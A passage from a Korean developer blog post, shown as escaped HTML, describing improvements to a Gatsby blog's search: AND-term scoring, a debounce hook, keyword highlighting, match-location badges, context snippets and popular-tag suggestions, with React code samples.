&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;parsed&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;mode &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;and&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; term &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; parsed&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;terms&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; score&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; matchType &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;scorePost&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; term&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;score &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;score&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;matchType&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 하나라도 안 맞으면 탈락&lt;/span&gt;
    totalScore &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; score
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;디바운스 적용&lt;/h3&gt;
&lt;p&gt;타이핑할 때마다 전체 포스트를 필터링하면 비효율적입니다. 200ms 디바운스를 적용해서 타이핑이 멈춘 후에 검색을 실행합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useDebounce&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;debounced&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; setDebounced&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;useEffect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; timer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setDebounced&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; delay&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;clearTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;timer&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; delay&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; debounced
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; debouncedQuery &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useDebounce&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;query&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;개선 2: UI/UX 향상&lt;/h2&gt;
&lt;h3&gt;검색어 하이라이팅&lt;/h3&gt;
&lt;p&gt;검색 결과에서 매칭된 키워드를 노란색으로 강조 표시합니다. AND/OR 검색 시 모든 키워드가 각각 하이라이팅됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;highlightText&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;text&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; terms&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; escaped &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; terms&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;escapeRegExp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;|&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; regex &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;RegExp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;escaped&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gi&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; parts &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; text&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;regex&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; parts&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;part&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
    terms&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;some&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; part&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Highlight key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;part&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;Highlight&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      part
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;매칭 위치 배지&lt;/h3&gt;
&lt;p&gt;각 검색 결과에 &quot;제목 일치&quot;, &quot;태그 일치&quot;, &quot;본문 일치&quot; 배지를 색상별로 표시해서 왜 이 글이 검색됐는지 한눈에 파악할 수 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;배지&lt;/th&gt;
&lt;th&gt;색상&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;제목 일치&lt;/td&gt;
&lt;td&gt;노란색&lt;/td&gt;
&lt;td&gt;제목에서 키워드를 찾음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;태그 일치&lt;/td&gt;
&lt;td&gt;보라색&lt;/td&gt;
&lt;td&gt;태그에서 키워드를 찾음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;본문 일치&lt;/td&gt;
&lt;td&gt;파란색&lt;/td&gt;
&lt;td&gt;본문에서 키워드를 찾음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;본문 매칭 컨텍스트&lt;/h3&gt;
&lt;p&gt;본문에서 매칭된 경우, 단순 excerpt 대신 &lt;strong&gt;매칭된 부분 주변 텍스트&lt;/strong&gt;를 발췌해서 보여줍니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;getMatchContext&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;body&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; terms&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; contextLen &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; lower &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; bestIdx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; term &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; terms&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; lower&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;term&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;idx &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bestIdx &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; idx &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; bestIdx&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bestIdx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; idx
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// bestIdx 기준으로 앞뒤 80자씩 발췌&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bestIdx &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; contextLen&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; end &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bestIdx &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; contextLen &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; snippet &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;start&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; end&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token regex&quot;&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token regex-source language-regex&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token regex-flags&quot;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;start &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; snippet &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;...&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; snippet
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;end &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; snippet &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; snippet &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;...&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; snippet
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;검색 전 추천 섹션&lt;/h3&gt;
&lt;p&gt;검색어를 입력하기 전에는 &lt;strong&gt;인기 태그&lt;/strong&gt;와 &lt;strong&gt;최근 글&lt;/strong&gt;을 보여줍니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;인기 태그&lt;/strong&gt;: 사용 빈도 상위 12개를 칩 형태로 표시. 클릭하면 해당 태그로 바로 검색&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;최근 글&lt;/strong&gt;: 최신 5개 포스트를 제목, 카테고리, 날짜와 함께 표시&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; popularTags &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useMemo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; tagCount &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  posts&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;post&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;frontmatter&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;tags &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tag&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      tagCount&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;tag&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tagCount&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;tag&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;entries&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tagCount&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
